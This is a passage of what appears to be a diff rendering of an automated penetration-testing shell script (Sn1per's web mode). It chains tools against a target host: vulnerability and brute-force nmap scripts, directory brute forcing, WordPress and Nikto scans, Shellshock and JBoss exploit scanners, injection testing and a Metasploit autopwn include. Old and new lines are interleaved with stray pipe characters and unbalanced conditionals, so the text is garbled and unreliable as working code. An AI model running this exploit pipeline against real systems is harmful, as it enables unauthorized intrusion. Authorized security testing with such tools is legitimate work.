/bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [ "$BURP_SCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:$PORT
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$NMAP_SCRIPTS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$NMAP_SCRIPTS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -Pn -p $PORT -sV -v --script-timeout 90 --script=http-auth-finder,http-auth,http-brute,/usr/share/nmap/scripts/vulners,http-default-accounts $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
|
||||
fi
|
||||
if [ "$PASSIVE_SPIDER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [ "$WAYBACKMACHINE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
blackwidow -u http://$TARGET:$PORT -l 3 -s y -v n 2> /dev/null
|
||||
cat /usr/share/blackwidow/$TARGET*/* 2> /dev/null > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:$PORT -l 3 -v n 2> /dev/null
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$INJECTX" == "1" ]]; then
|
||||
rm -f $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw 2> /dev/null
|
||||
#cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'http\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.txt
|
||||
for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "http\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "http\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw; done; done;
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-http-${PORT}.txt
|
||||
fi
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-common.txt
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-full.txt
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e html
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-exploits.txt
|
||||
fi
|
||||
fi
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
wget http://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-http.txt 2> /dev/null
|
||||
if [ "$CLUSTERD" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:${PORT}/robots.txt -O $LOOT_DIR/web/robots-$TARGET:${PORT}-http.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
clusterd -i $TARGET -p $PORT | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET -p ${PORT} | tee $LOOT_DIR/web/clusterd-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
if [ "$CMSMAP" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cmsmap http://$TARGET:$PORT | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTa.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap http://$TARGET:${PORT} | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}a.txt
|
||||
echo ""
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}b.txt
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WPSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wpscan --url http://$TARGET:$PORT --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
wpscan --url http://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt
|
||||
echo ""
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WP_API_KEY" ]]; then
|
||||
wpscan --url http://$TARGET:${PORT} --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw
|
||||
echo ""
|
||||
wpscan --url http://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw
|
||||
echo ""
|
||||
else
|
||||
wpscan --url http://$TARGET:${PORT} --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw
|
||||
echo ""
|
||||
wpscan --url http://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw
|
||||
fi
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}a.txt
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port${PORT}b.txt
|
||||
rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
|
||||
fi
|
||||
if [ "$NIKTO" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nikto -h http://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-http-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h http://$TARGET:${PORT} -output $LOOT_DIR/web/nikto-$TARGET-http-port${PORT}.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port${PORT}.txt
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [ "$CLUSTERD" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
clusterd -i $TARGET -p $PORT 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET -p ${PORT} 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http-port${PORT}.txt
|
||||
fi
|
||||
if [ "$SHOCKER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SHOCKER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT | tee $LOOT_DIR/web/shocker-$TARGET-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port ${PORT} | tee $LOOT_DIR/web/shocker-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
if [ "$JEXBOSS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$JEXBOSS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:$PORT | tee $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw > $LOOT_DIR/web/jexboss-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null
|
||||
python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:${PORT} | tee $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw > $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [ $METASPLOIT_EXPLOIT = "1" ]; then
|
||||
SSL="false"
|
||||
source modes/web_autopwn.sh
|
||||
if [[ "$SMUGGLER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u http://$TARGET:${PORT} | tee $LOOT_DIR/web/smuggler-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
source modes/osint_stage_2.sh
|
||||
if [[ "$NUCLEI" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
|
||||
